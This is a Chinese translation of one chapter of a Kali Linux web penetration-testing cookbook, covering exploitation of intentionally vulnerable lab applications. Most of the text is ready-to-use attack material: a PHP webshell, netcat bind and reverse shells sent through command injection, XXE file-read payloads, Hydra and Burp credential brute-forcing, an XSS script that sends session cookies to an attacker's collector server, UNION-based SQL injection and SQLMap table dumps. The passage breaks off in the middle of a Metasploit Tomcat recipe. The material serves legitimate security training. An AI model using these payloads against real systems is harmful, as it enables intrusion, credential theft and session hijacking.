KaliLinuxWeb滲透測試祕籍第六章利用–低懸的果實

apachecn_飛龍發表於2016-10-17

第六章 利用 – 低懸的果實

作者:Gilberto Najera-Gutierrez

譯者:飛龍

協議:CC BY-NC-SA 4.0

簡介

這章開始我們會開始涉及滲透測試的的利用層面。和漏洞評估的主要不同是,漏洞評估中測試者識別漏洞(多數時間使用自動化掃描器)和提出如何減輕它們的建議。而滲透測試中測試者作為惡意攻擊者並嘗試利用檢測到的漏洞,並得到最後的結果:整個系統的淪陷,內部網路訪問,敏感資料洩露,以及其它。同時,要當心不要影響系統的可用性或者為真正的攻擊者留下後門。

之前的章節中,我們已經涉及瞭如何檢測 Web 應用中的一些漏洞。這一章中我們打算了解如何利用這些漏洞並使用它們來提取資訊和獲得應用及系統受限部分的訪問權。

6.1 惡意使用檔案包含和上傳

我們在第四章中看到,檔案包含漏洞在開發者對生成檔案路徑的輸入校驗不當,並使用該路徑來包含原始碼檔案時出現。服務端語言的現代版本,例如 PHP 自 5.2.0 起,將一些特性預設關閉,例如遠端檔案包含,所以 2011 年起就不大可能找到 RFI 了。

這個祕籍中,我們會上傳一些惡意檔案,其中之一是 Webshell(可用於在伺服器中執行命令的頁面),之後使用本地檔案包含來執行它。

準備

這個祕籍中,我們會使用 vulnerable_vm 中的 DVWA ,並以中等安全級別配置,所以讓我們將其配置起來。

  1. 訪問http://192.168.56.102/dvwa

  2. 登入。

  3. 將安全級別設定為中。訪問DVWA Security,在組合框中選擇medium並點選Submit

我們會上傳一些檔案給伺服器,但是你需要記住它們儲存在哪裡,以便之後呼叫。所以,在 DVWA 中訪問Upload並上傳任何 JPG 影像。如果成功了,他會告訴你檔案上傳到了../../hackable/uploads/。現在我們知道了用於儲存上傳檔案的相對路徑。這對於祕籍就足夠了。

我們也需要準備好我們的檔案,所以讓我們建立帶有一下內容的文字檔案:

<? 
system($_GET[`cmd`]); 
echo `<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>`; 
?>

將其儲存為webshell.php。我們需要另一個檔案,建立rename.php並輸入下列程式碼:

<? 
system(`mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php`); 
?>

這個檔案會接受特殊影像檔案(webshell.jpg)並將其重新命名為webshell.php

操作步驟

  1. 首先,讓我們嘗試上傳我們的 webshell。在 DVWA 中訪問Upload之後嘗試上傳webshell.php,像這樣:

    於是,這裡對於我們能夠上傳的東西有個驗證。這意味著我們需要上傳圖示檔案,或更精確來說,帶有.jpg.gif.png的影像檔案。這就是為什麼我們需要重新命名指令碼來還原原始檔案的.php擴充套件,便於我們執行它。

  2. 為了避免驗證錯誤,我們需要將我們的 PHP 檔案重新命名為有效的副檔名。在終端中,我們需要訪問 PHP 檔案所在目錄並建立它們的副本:

    cp rename.php rename.jpg 
    cp webshell.php webshell.jpg
  3. 現在,讓我們返回 DVWA 並嘗試上傳二者:

  4. 一旦兩個 JPG 檔案都上傳了,我們使用本地檔案包含漏洞過來執行rename.jpg。訪問檔案包含部分並利用這個漏洞來包含../../hackable/uploads/rename.jpg

    我們並沒有得到這個檔案執行的任何輸出,我們需要假設webshell.jpg命名為webshell.php

  5. 如果它能工作,我們應該能夠包含../../hackable/uploads/ webshell.php,讓我們試試:

  6. 在左上角的文字框中,輸入/sbin/ifconfig並按下回車:

    並且它能夠工作。就像圖片中那樣,伺服器的 IP 是192.168.56.102。現在,我們可以在伺服器中執行命令,通過將它們鍵入到文字框中,或者為cmd引數設定不同的值。

工作原理

在上傳有效 JPG 檔案時,我們所做的第一個測試是為了發現上傳檔案儲存的路徑,便於我們可以在rename.php中,以及表單的action中使用這個路徑。

使用重新命名指令碼有兩個重要原因:首先,上傳頁面只允許 JPG 檔案,所以我們的指令碼需要這個副檔名,其次,我們需要帶引數呼叫我們的 webshell(要執行的命令),而我們從 Web 伺服器呼叫圖片時不能帶引數。

PHP 中的system()函式是攻擊核心,它所做的是,執行系統命令並顯示輸出。這允許我們將 webshell 檔案從.jpg重新命名為.php檔案並執行我們指定為 GET 引數的命令。

更多

一旦我們上傳並執行了服務端程式碼,我們有很多選擇來攻陷伺服器,例如,下列程式碼可以在繫結的 shell 中呼叫:

nc -lp 12345 -e /bin/bash

它開啟伺服器的 TCP 12345 埠並監聽連線。連線建立之後,它會將接收的資訊作為輸入來執行/bin/bash,並把輸出通過網路發給被連線的主機(攻擊者主機)。

也可以讓伺服器下載一些惡意程式,例如提權利用,執行它來獲得更高許可權。

6.2 利用 OS 命令注入

在上一個祕籍中,我們看到 PHP 的system()如何用於在伺服器中執行 OS 命令。有時開發者會使用類似於它的指令,或者相同的功能來執行一些任務,有時候他們會使用無效的使用者輸入作為引數來執行命令。

這個祕籍中,我們會利用命令注入漏洞來提取伺服器中的重要資訊。

操作步驟

  1. 登入 DVWA 訪問Command Execution

  2. 我們會看到Ping for FREE表單,試試它吧。Ping 192.168.56.1(在主機網路中,我們的 Kali Linux 的 IP)。

    這個輸出看起來像是直接的 ping 命令的輸出。這表明伺服器使用 OS 命令來執行 ping。所以它可能存在 OS 命令注入。

  3. 讓我們嘗試注入一個非常簡單的命令,提交下列程式碼:

    192.168.56.1;uname -a.

    我們可以看到uname命令的輸出就在 ping 的輸出之後。這裡存在命令注入漏洞。

  4. 如果不帶IP地址會怎麼樣呢:;uname -a:

  5. 現在,我們打算獲取服務端的反向 shell。首先我們必須確保伺服器擁有所需的任何東西。提交下列程式碼:;ls /bin/nc*

    所以我們擁有多於一種版本的 Netcat,我們打算使用它來生成連線。nc的OpenBSD版本不支援執行連線命令,所以我們使用傳統的版本。

  6. 下一步是監聽 Kali 主機的連線。開啟終端並執行下列命令:

    nc -lp 1691 -v
  7. 返回瀏覽器中,提交這個:;nc.traditional -e /bin/bash 192.168.56.1 1691 &

    ![](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh/raw/master/img/6-2-5.jpg

    我們的終端會對連線做出反應。我們現在可以執行非互動式命令並檢查它們的輸出。

工作原理

就像 SQL 注入的例子那樣,命令注入漏洞的來源於弱輸入校驗機制,以及使用使用者提供的資料來拼接之後會用做 OS 命令的字串。如果我們檢視剛剛攻擊的頁面原始碼(每個 DVWA 頁面的右下角會有個按鈕),會看到這些:

<?php
if( isset( $_POST[ `submit` ] ) ) {

    $target = $_REQUEST[ `ip` ];

    // Determine OS and execute the ping command.    
    if (stristr(php_uname(`s`), `Windows NT`)) {
        $cmd = shell_exec( `ping  ` . $target );        
        echo `<pre>`.$cmd.`</pre>`;            

    } else {             
        $cmd = shell_exec( `ping  -c 3 ` . $target );        
        echo `<pre>`.$cmd.`</pre>`;        
    }    
} 
?>

我們可以看到,它直接將使用者的輸入附加到 ping 命令後面。我們所做的僅僅是新增一個分號,系統的 shell 會將其解釋為命令的分隔符,以及下一個我們打算執行的命令。

在成功執行命令之後,下一步就是驗證伺服器是否擁有 Netcat。它是一個能夠建立網路連線的工具,在一些版本中還可以在新連線建立之後執行命令。我們看到了伺服器的系統擁有兩個不同版本的 Netcat,並執行了我們已知支援所需特性的版本。

之後我們配置攻擊系統來監聽 TCP 1691 埠連線(也可以是任何其它可用的 TCP 埠),然後我們讓伺服器連線到我們的機器,通過該埠並在連線建立時執行/bin/bash(系統 shell)。所以我們通過連線傳送的任何東西都會被伺服器接收作為 shell 的輸入。

也可以讓伺服器下載一些惡意程式,例如提權利用,執行它來獲得更高許可權。

6.3 利用 XML 外部實體注入

XML 是主要用於描述文件或資料結構的格式,例如,HTML 是XML 的實現,它定義了頁面和它們的關係的結構和格式。

XML 實體類似於定義在 XML 結構中的資料結構,它們中的一些能夠從檔案系統中讀取檔案或者甚至是執行命令。

這個祕籍中,我們會利用 XML 外部實體注入漏洞來在伺服器中執行程式碼。

準備

建議你開始之前遵循上一個祕籍中的步驟。

操作步驟

  1. 瀏覽http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php

  2. 上面寫著它是個 XML 校驗器。讓我們嘗試提交測試示例來觀察發生什麼。在 XML 輸入框中,輸入<somexml><message>Hello World</message></ somexml>,並點選Validate XML

  3. 現在讓我們觀察它是否正確處理了實體,提交系列程式碼:

    <!DOCTYPE person [  
        <!ELEMENT person ANY>  
        <!ENTITY person "Mr Bob"> 
    ]> 
    <somexml><message>Hello World &person;</message></somexml>

    這裡,我們僅僅定義了實體並將值"Mr Bob"賦給它。解析器在展示結果時解釋了實體並替換了它的值。

  4. 這就是內部實體的使用,讓我們嘗試外部實體:

    <!DOCTYPE fileEntity [  
        <!ELEMENT fileEntity ANY>  
        <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> 
    ]> 
    <somexml><message>Hello World &fileEntity;</message></somexml>

    使用這個技巧,我們就可以提取系統中的任何檔案,只要它們可以在 Web 伺服器的執行環境被使用者讀取。

    我們也可以使用 XEE 來載入頁面。在上一個祕籍中,我們已經設法將 webshell 上傳到伺服器中,讓我們試試吧。

    <!DOCTYPE fileEntity [ 
        <!ELEMENT fileEntity ANY> 
        <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig"> 
    ]> 
    <somexml><message>Hello World &fileEntity;</message></somexml>

工作原理

XML 擁有叫做實體的特性。XML 實體是與值關聯的名稱,每次實體在文件中使用的時候,它都會在 XML檔案處理時替換為值。使用它以及不同的可用包裝器(file://來載入系統檔案,或者http://來載入 URL),我們就可以通過輸入校驗和XML 解析器的配置,惡意使用沒有合理安全措施的實現,並提取敏感資料或者甚至在伺服器中執行系統命令。

這個祕籍中,我們使用file://包裝器來使解析器載入伺服器中的任意檔案,之後,使用http://包裝器,我們呼叫了網頁,它碰巧是同一個伺服器中的 webshell,並執行了一些命令。

更多

這個漏洞也可以用於發起 DoS 攻擊,叫做“Billion laughs”,你可以在維基百科中閱讀更多資訊:https://en.wikipedia.org/wiki/Billion_laughs

PHP 也支援不同的 XML 實體包裝器(類似於file://http://),如果它在伺服器中被開啟,也會在不需要上傳檔案的情況下允許命令執行,它就是expect://。你可以在這裡找到更多它和其它包裝器的資訊:http://www.php.net/manual/en/wrappers.php

另見

XXE 漏洞如何在世界上最流行的站點上發現的例子,可以在這裡檢視:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution

6.4 使用 Hydra 爆破密碼

Hydra 是網路登入破解器,也就是線上的破解器,這意味著它可以用於通過爆破網路服務來發現登入密碼。爆破攻擊嘗試猜測正確的密碼,通過嘗試所有可能的字元組合。這種攻擊一定能找到答案,但可能要花費數百萬年的時間。

雖然對於滲透測試者來說,等待這麼長時間不太可行,有時候在大量伺服器中測試一小部分使用者名稱/密碼組合是非常有效率的。

這個祕籍中,我們會使用 Hydra 來爆破登入頁面,在一些已知使用者上執行爆破攻擊。

準備

我們需要擁有使用者名稱列表,在我們瀏覽 vulnerable_vm 的時候我們在許多應用中看到了有效使用者的一些名稱。讓我們建立文字檔案users. txt,內容如下:

admin 
test 
user 
user1 
john

操作步驟

  1. 我們的第一步是分析登入請求如何傳送,以及伺服器如何響應。我們使用 Burp Suite 來捕獲 DVWA 的登入請求:

    我們可以看到請求是/dvwa/login.php,它擁有三個引數:usernamepasswordlogin

  2. 如果我們停止捕獲請求,並檢查瀏覽器中的結果,我們可以看到響應是登入頁面的重定向。

    有效的使用者名稱/密碼組合不應該直接重定向到登入頁面,而應該是其它頁面,例如index.php。所以我們假設有效登入會重定向到其它頁面,我們會接受index.php作為用於分辨是否成功的字串。Hydra 使用這個字串來判斷是否某個使用者名稱/密碼被拒絕了。

  3. 現在,我們準備好攻擊了,在終端中輸入下列命令:

    hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt

    我們使用這個命令只嘗試了兩個使用者名稱組合:密碼等於使用者名稱和密碼為空。我們從這個攻擊之中得到了兩個有效密碼,Hydra中標為綠色。

工作原理

這個祕籍的第一個部分是捕獲和分析請求,用於瞭解請求如何工作。如果我們考慮登入頁面的輸出,我們會看到訊息“登入失敗”,並且可以使用這個訊息作為 Hydra的輸入來充當失敗的字串。但是,通過檢查代理的歷史,我們可以看到它出現在重定向之後,Hydra只讀取第一個響應,所以它並不能用,這也是我們使用login.php作為失敗字串的原因。

我們使用了多個引數來呼叫 Hydra:

  • 首先是伺服器的 IP 地址。
  • http-form-post:這表明 Hydra 會對 HTTP 表單使用 POST 請求。接下來是由冒號分隔的,登入頁面的 URL。請求引數和失敗字串由&分隔,^USER^^PASS^用於表示使用者名稱和密碼應該在請求中被放置的位置。
  • -L users.txt:這告訴 Hydra 從users.txt檔案接收使用者名稱稱。
  • -e ns:Hydra 會嘗試空密碼並將使用者名稱作為密碼。
  • -u:Hydra會首先迭代使用者名稱而不是密碼。這意味著Hydra首先會對單一的密碼嘗試所有使用者名稱,之後移動到下一個密碼。這在防止賬戶鎖定的時候很有用。
  • -t 2:我們不想讓登入請求填滿伺服器,所以我們使用兩個執行緒,這意味著每次兩個請求。
  • -w 30:設定超時時間,或者等待伺服器響應的時間。
  • -o hydra-result.txt:將輸出儲存到文字檔案中。當我們擁有幾百個可能有效的密碼時這會很實用。

更多

要注意我們沒有使用-P選項來使用密碼列表,或者-x選項來自動生成密碼。我們這樣做是因為爆破 Web 表單產生很大的網路流量,如果伺服器對它沒有防護,會產生 DoS 的情況。

不推薦使用大量的密碼在生產伺服器上執行爆破或字典攻擊,因為我們會使伺服器崩潰,阻攔有效使用者,或者被客戶端的保護機制阻攔。

推薦滲透測試者在執行這種攻擊時對每個使用者嘗試四次,來避免被阻攔。例如,我們可以嘗試-e ns,就像這裡做的這樣,之後新增-p 123456來測試三種可能性,沒有密碼、密碼和使用者名稱一樣以及密碼為123456,這是世界上最常見的密碼之一。

6.5 使用 Burp Suite 執行登入頁面的字典爆破

Burp Suite 的 Intruder 能夠對 HTTP 請求的許多部分執行模糊測試和爆破攻擊。在執行登入頁面上的字典攻擊時非常實用。

這個祕籍中,我們會使用 Burp Suite 的 Intruder 和 第二章生成的字典來通過登入獲得訪問權。

準備

這個祕籍需要字典列表。它可以是來自目標語言的簡單單詞列表,常見密碼的列表,或者我們在第二章“使用 John the Ripper 生成字典”中的列表。

操作步驟

  1. 第一步是設定 Burp Suite 用作瀏覽器的代理。

  2. 瀏覽http://192.168.56.102/WackoPicko/admin/index.php

  3. 我們會看到登入頁面,讓我們嘗試和測試使用者名稱和密碼。

  4. 現在訪問大力的歷史,並檢視我們剛剛生成的登入的 POST 請求:

  5. 右擊它並從選單中選擇Send to intruder

  6. intruder 標籤頁會高亮,讓我們訪問它之後訪問Positions標籤頁。這裡我們會定義請求的哪個部分要用於測試。

  7. 點選Clear §來清除之前選項的區域。

  8. 現在,我們已經選擇了什麼會用作測試輸入。高亮使用者名稱的值(test),並點選Add §

  9. 對密碼值執行相同操作,並點選Cluster bomb作為攻擊型別:

  10. 下一步就是定義Intruder 用於對我們所選擇的輸入測試的值。訪問Payloads標籤頁。

  11. 使用寫著Enter a new item的文字框和Add按鈕,使用下列東西來填充列表:

    user 
    john 
    admin 
    alice 
    bob 
    administrator 
    user

  12. 現在從Payload Set框中選擇list 2

  13. 我們會使用字典來填充這個列表,點選Load並選擇字典檔案。

  14. 我們現在擁有了兩個載荷集合,並準備好攻擊登入頁面了。在頂部的選單中,訪問Intruder | Start attack

  15. 如果我們使用免費版,會出現一個提示框告訴我們一些功能是禁用的。這裡,我們可以不使用這些功能,點選OK

  16. 新的視窗會彈出,並展示攻擊進度。為了分辨成功的登入,我們需要檢查響應長度。點選Length列來排列結果,通過不同長度來識別響應比較容易。

  17. 如果我們檢查不同長度的結果,我們可以看到他重定向到了管理主頁,就像下面這樣:

工作原理

Intruder 所做的是,修改請求的特定部分,並使用定義好的載荷替換這些部分的值。載荷可以是這些東西:

  • 簡單列表:來自檔案,由剪貼簿傳遞或者寫在文字框中的列表。

  • 執行時檔案:Intruder 可以在執行時從檔案中讀取載荷,所以如果檔案非常大,它不會完全載入進記憶體。

  • 數字:生成一列順序或隨機的數字,以十進位制或十六進位制形式。

  • 使用者名稱生成器:接受郵件地址列表,從中提取可能的使用者。

  • 爆破器:接受字符集並使用它來生成指定長度的所有排列。

這些載荷由Intruder以不同形式傳送,在Positions標籤頁中由攻擊型別指定。攻擊型別在載荷標記中的組合和排列方式上有所不同。

  • Sniper:對於載荷的單一集合,它將每個載荷值放在每個標記位置,一次一個。

  • Battering ram:類似Sniper,它使用載荷的單一集合,不同點是它在每個請求中將所有位置設定為相同的值。

  • Pitchfork:使用多個載荷集合,並將每個集合中的一個專案放到每個標記位置中。當我們擁有不能混用的預定義資料時,這會非常有用,例如,測試已知的使用者名稱和密碼。

  • Cluster bomb:測試多個載荷,所以每個可能的排列都可以測試到。

對於結果,我們可以看到所有失敗嘗試都有相同的響應,這裡是 811 位元組。所以我們假設成功響應的長度應該不同(因為它會重定向到使用者主頁)。如果碰巧成功和失敗請求長度相同,我們也可以檢查狀態碼或者使用搜尋框來尋找響應中的特定模式。

更多

Kali 包含了非常實用的密碼字典和單詞列表集合,位於/usr/ share/wordlists。一些檔案可以在這裡找到:

  • rockyou.txt:Rockyou.com在 2010 年被攻破,洩露了多於 14 億的密碼,這個列表包含它們。

  • dnsmap.txt:包含常用的子域名稱,例如內部網路、FTP或者WWW。在我們爆破 DNS 伺服器時非常實用。

  • ./dirbuster/*dirbuster目錄包含Web 伺服器中常見的檔名稱,這些檔案可以在使用DirBuster或 OWASP ZAP 強制瀏覽時使用。

  • ./wfuzz/*:在這個目錄中,我們可以找到用於Web 攻擊的模糊字串的大量集合,以及爆破檔案。

6.6 通過 XSS 獲得會話 Cookie

我們已經談論過了 XSS,它是現在最常見的 Web 攻擊之一。XSS 可以用於欺騙使用者,通過模仿登入頁面來獲得身份,或者通過執行客戶端命令來收集資訊,或者通過獲得會話 cookie 以及冒充在攻擊者的瀏覽器中的正常使用者來劫持會話。

這個祕籍中,我們會利用永續性 XSS 來獲得使用者的會話 Cookie,之後使用這個 cookie 來通過移植到另一個瀏覽器來劫持會話,之後冒充使用者來執行操作。

準備

對於這個祕籍,我們需要啟動 Web 伺服器作為我們的 cookie 收集器,所以在我們攻擊之前,我們需要啟動 Kali 中的 Apache,之後在 root 終端中執行下列命令:

service apache2 start

在這本書所使用的系統中,Apache 的文件根目錄位於/var/www/html,建立叫做savecookie.php的檔案並輸入下列程式碼:

<?php 
$fp = fopen(`/tmp/cookie_data.txt`, `a`); 
fwrite($fp, $_GET["cookie"] . "
"); 
fclose($fp); 
?>

這個 PHP 指令碼會收集由 XSS 傳送的所有 cookie。為了確保它能工作,訪問http://127.0.0.1/savecookie.php?cookie=test,並且檢查/tmp/cookie_data.txt的內容:

cat /tmp/cookie_data.txt 

如果它顯式了test單詞,就能生效。下一步就是了解 Kali 主機在 VirtualBox 主機網路中的地址,執行:

ifconfig

對於這本書,Kali 主機 的vboxnet0介面 IP 為 192.168.56.1 。

操作步驟

  1. 我們在這個祕籍中會使用兩個不同的瀏覽器。OWASP Mantra 是攻擊者的瀏覽器,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中,訪問http://192.168.56.102/peruggia/

  2. 讓我們給頁面的圖片新增一條評論,點選Comment on this picture

  3. 在文字框中輸入下列程式碼:

    <script> 
        var xmlHttp = new XMLHttpRequest(); 
        xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true ); 
        xmlHttp.send( null ); 
    </script>
  4. 點選Post

  5. 頁面會執行我們的指令碼,即使我們看不見任何改動。檢查Cookie 檔案的內容來檢視結果。在我們的 Kali 主機上,開啟終端並執行:

    cat /tmp/cookie_data.txt 

    檔案中會出現新的條目。

  6. 現在,在受害者瀏覽器中訪問http://192.168.56.102/peruggia/

  7. 點選Login

  8. 輸入admin作為使用者名稱和密碼,並點選Login

  9. 讓我們再次檢查Cookie檔案的內容:

    cat /tmp/cookie_data.txt 

    最後一個條目由受害者的瀏覽器中的使用者生成。

  10. 現在在攻擊者的瀏覽器中,確保你沒有登入,並開啟 Cookies Manager+(在 Mantra 的選單中,Tools | Application Auditing | Cookies Manager+)。

  11. 選擇 192.168.56.102(vulnerable_vm)的PHPSESSID Cookie。並點選Edit

  12. /tmp/cookie_data.txt複製最後一個Cookie。之後將其貼上到Content欄位中,像這樣:

  13. 點選Save,之後點選Close並在攻擊者的瀏覽器中重新載入頁面。

    現在我們通過永續性 XSS 攻擊劫持了管理員的會話。

工作原理

簡單來說,我們使用應用中的 XSS 漏洞來將會話 Cookie 傳送給遠端伺服器,通過 JavaScript HTTP 請求。這個伺服器被配置用於儲存會話 Cookie,之後,我們獲得一個會話 ID,並把它移植到不同的瀏覽器中來劫持驗證使用者的會話。下面,我們來看看每一步如何工作。

我們編寫的 PHP 檔案用於在 XSS 攻擊執行時儲存收到的 COokie。

我們輸入的評論是一個指令碼,使用JavaScript 的XMLHttpRequest 物件來向我們的惡意伺服器傳送 HTTP 請求,這個請求由兩步構建:

xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );

我們使用 GET 方法開啟請求,向http://192.168.56.1/savecookie.php URL新增叫做cookie的引數,它的值儲存在document.cookie中,它是 JavaScript 中儲存cookie值的變數。最後的引數設定為true,告訴瀏覽器這是非同步請求,這意味著它不需要等待響應。

xmlHttp.send( null )

最後的指令將請求傳送給伺服器。

在管理員登入並檢視包含我們所傳送評論的頁面之後,指令碼會執行,並且管理員的會話 cookie 就儲存在我們的伺服器中了。

最後,一旦我們獲得了有效使用者的會話 cookie,我們可以在瀏覽器中替換我們自己的會話 cookie,之後重新載入頁面來執行操作,就像我們是這個使用者一樣。

更多

不僅僅是儲存會話 Cookie 到檔案,惡意伺服器也可以使用這些cookie 來嚮應用傳送請求來冒充正常使用者,以便執行操作,例如新增或刪除評論、上傳圖片或建立新使用者,甚至是管理員。

6.7 逐步執行基本的 SQL 注入

我們在第四章瞭解瞭如何檢測 SQL 注入。這個祕籍中,我們會利用這個注入,並提取資料庫的資訊。

操作步驟

  1. 我們已經知道了 DVWA 存在SQL 注入的漏洞。所以我們使用 OWASP Mantra 登入,之後訪問http://192.168.56.102/dvwa/vulnerabilities/ sqli/

  2. 在檢測 SQL 注入存在之後,下一步就是查詢,準確來說就是結果有多少列。在 ID 框中輸入任何數字之後點選Submit

  3. 現在,開啟 HackBar(按下F9)並點選Load URL。位址列中的 URL 應該出現在 HackBar 內。

  4. 在 HackBar 中,我們將id引數的值替換為1` order by 1 -- `,並點選Execute

  5. 我們通過執行請求,持續增加order數字後面的值,直到發生錯誤。這裡例子中,它在3的時候發生。

  6. 現在,我們知道了請求由兩列。讓我們嘗試是否能使用 UNION 語句來提取一些資訊。現在將id的值設為1` union select 1,2 -- `並點選Excecute

  7. 這意味著我們可以在 UNION 查詢中請求兩個值。那麼試試 DBMS 的版本和資料庫使用者如何呢?將id設為1` union select @@version,current_user() -- `並點選Execute

  8. 讓我們查詢一些有關的東西,例如應用的使用者。首先,我們需要定位使用者表,將id設定為1` union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE `%user%` -- `

  9. 好的,我們知道了資料庫(或Schema)叫做dvwa,我們要查詢的表叫做users。因為我們只有兩個地方來設定值,我們需要知道的哪一列對我們有用。將id設定為1` union select column_name, 1 FROM information_schema.tables WHERE table_name = `users` -- `

  10. 最後,我們確切知道了要請求什麼,將id設為1` union select user, password FROM dvwa.users -- `

    First name欄位中,我們得到了應用的使用者名稱,在Surname欄位彙總,我們得到了每個使用者的密碼雜湊。我們可以將這些雜湊複製到我呢本文呢減重,並且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來破解。

工作原理

在我們的第一次注入,1` order by 1 -- `1` order by 3 -- `中,我們使用 SQL 語言的特性,它允許我們通過特定的欄位或類,使用它的編號來排列結果。我們用它來產生錯誤,於是能夠知道查詢一共有多少列,便於我們將其用於建立 UNION 查詢。

UNION 查詢語句用於連線兩個擁有相同列數量的查詢,通過注入這些我們就可以查詢資料庫中幾乎所有東西。這個祕籍中,我們首先檢查了它是否像預期一樣工作,之後我們將目標設定為users表,並設法獲得它。

第一步是弄清資料庫和表的名稱,我們通過查詢information_schema資料庫來實現,它是 MySQL 中儲存所有資料庫、表和列資訊的資料庫。

一旦我們知道了資料庫和表的名稱,我們在這個表中查詢所有列,來了解我們需要查詢哪一列,它的結果是userpassword

最後,我們注入查詢來請求dvwa資料庫的users表中的所有使用者名稱和密碼。

6.8 使用 SQLMap 發現和利用 SQL 注入

我們已經在上一個祕籍中看到,利用 SQL 注入是個繁瑣的步驟。SQLMap 是個命令列工具,包含在 Kali 中,可以幫我們自動化檢測和利用 SQL 注入。它帶有多種技巧,並支援多種資料庫。

這個祕籍中,我們會使用 SQLMap 來檢測和利用 SQL 注入漏洞,並用它獲得應用的使用者名稱和密碼。

操作步驟

  1. 訪問http://192.168.56.102/mutillidae

  2. 在 Mutillidae 的選單中,訪問OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info

  3. 嘗試任何使用者名稱和密碼,例如userpassword之後點選View Account Details

  4. 登入會失敗,但是我們對 URL 更感興趣。訪問位址列並將完整的 URL 複製到剪貼簿。

  5. 現在,開啟終端視窗,輸入下列命令:

    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb

    你可以注意到,-u引數就是所複製的 URL 的值。-p告訴 SQLMap 我們打算在使用者名稱引數中查詢注入。一旦漏洞被利用,我們想讓它獲得當前資料庫使用者名稱和資料庫的名稱。我們只打算獲得這兩個值,因為我們只想判斷這個 URL 的username引數是否存在 SQL 注入。

  6. 一旦 SQLMap 檢測到應用所使用的 DBMS,它會詢問我們是否跳過檢測其它 DBMS 的步驟,以及是否打算包含所有特定系統的測試。即使它們在當前的配置等級和風險之外。這裡,我們回答Ues來跳過其它系統,以及No來包含所有測試。

  7. 一旦我們指定的引數中發現了漏洞,SQLMap 會詢問我們是否打算測試其它引數,我們回答No,之後觀察結果:

  8. 如果我們開啟獲得使用者名稱和密碼,類似於我們在上一個祕籍那樣,我們需要知道含有這些資訊的表名稱。在終端中執行下列程式碼:

    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables

    SQLMap 會儲存所執行的注入日誌,所以第二次攻擊會花費更少的時間。你可以看到,我們指定了要提取資訊(nowasp)的資料庫,並告訴 SQLMap 我們想獲取這個資料庫的表名稱列表。

  9. accounts表使含有我們想要的資訊的表之一。讓我們轉儲內容:

    sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump

    我們現在擁有完整的使用者表,並且我們可以看到,這裡密碼並沒有加密,所以我們可以直接使用它們。

工作原理

SQLMap 會使用 SQL 注入字串,對給定 URL 和資料的輸入進行模糊測試,或者只針對-p選項中的特定目標,並且解釋其響應來發現是否存在漏洞。不要模糊測試所有輸入,最好使用 SQLMap 來利用我們已知存在的注入,並始終嘗試縮小搜尋過程,通過提供所有可用的資訊,例如漏洞引數、DBMS 型別,以及其它。在所有可能性下尋找注入會花費大量時間,並在網路中產生非常大的流量。

這個祕籍中,我們已經知道了使用者名稱引數存在注入漏洞(因為我們使用了 Mutillidae 的注入測試頁面)。在第一個攻擊中,我們只希望確認注入是否存在,並詢問一些非常基本的資訊:使用者名稱(--curent-user)和資料庫名稱(--current-db)。

在第二個攻擊中,我們使用-D選項,以及前一次攻擊所獲得的名稱,指定希望查詢的資料庫,我們也使用--tables詢問了所包含的表名稱。

知道我們希望獲得哪個表(-T accounts)之後,我們告訴 SQLMap 使用--dump轉儲它的內容。

更多

SQLMap 也能夠注入 POST 引數中的輸入變數。我們只需要新增--data選項並附帶 POST 資料,例如:

--data "username=test&password=test"

有時候,我們需要在一些應用中獲得身份驗證,以便能夠訪問應用的漏洞 URL。如果是這樣,我們可以傳遞有效的會話 Cookie給 SQLMap, 使用--cookie選項:

--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37" 

這在測試Cookie值的注入時也非常有用。

另一個有趣的特性是,使用--sql-shell選項,它可以為我們提供 SQL shell,其中我們可以執行 SQL 查詢,就像我們直接連線到資料庫那樣。或更有趣的是,我們可以使用--osshell在資料庫伺服器中執行系統命令(在注入 MSSQL 伺服器時特別有用)。

為了瞭解 SQLMap 擁有的所有選項和特性,你可以執行:

sqlmap --help

另見

Kali 包含了用於檢測和利用 SQL 注入漏洞的其它工具,它們能夠用於代替或配合 SQLMap:

  • sqlninja:非常流行的工具,為利用 MSSQL 伺服器而設計。
  • Bbqsql:Python 編寫的 SQL 盲注框架。
  • jsql:基於 Java 的工具,帶有完全自動化的 GUI,我們只需要輸入 URL 並按下按鈕。
  • Metasploit:它包含不同 DBMS 的多種 SQL 注入模組。

6.9 使用 Metasploit 攻擊 Tomcat 的密碼

Apache Tomcat,是世界上最廣泛使用的 Java Web 伺服器之一。帶有預設配置的 Tomcat 伺服器非常容易發現。發現暴露 Web 應用管理器的伺服器也非常容易,它是一個應用,允許管理員啟動、停止、新增和刪除伺服器中的應用。

這個祕籍中,我們會使用 Metasploit 模組來執行 Tomcat 伺服器上的字典攻擊來獲得管理器應用的訪問。

準備

在我們開始使用 Metasploit 之前,我們需要在 root 終端中開啟資料庫服務:

service postgresql start

操作步驟

  1. 啟動 Metasploit 的控制檯。

    msfconsole
  2. 啟動之後,我們需要載入合適的模組,在msf>提示符之後鍵入下列程式碼:

    use auxiliary/scanner/http/tomcat_mgr_login 
  3. 我們可能打算檢視它使用什麼引數:

    show options

  4. 現在,我們設定目標主機:

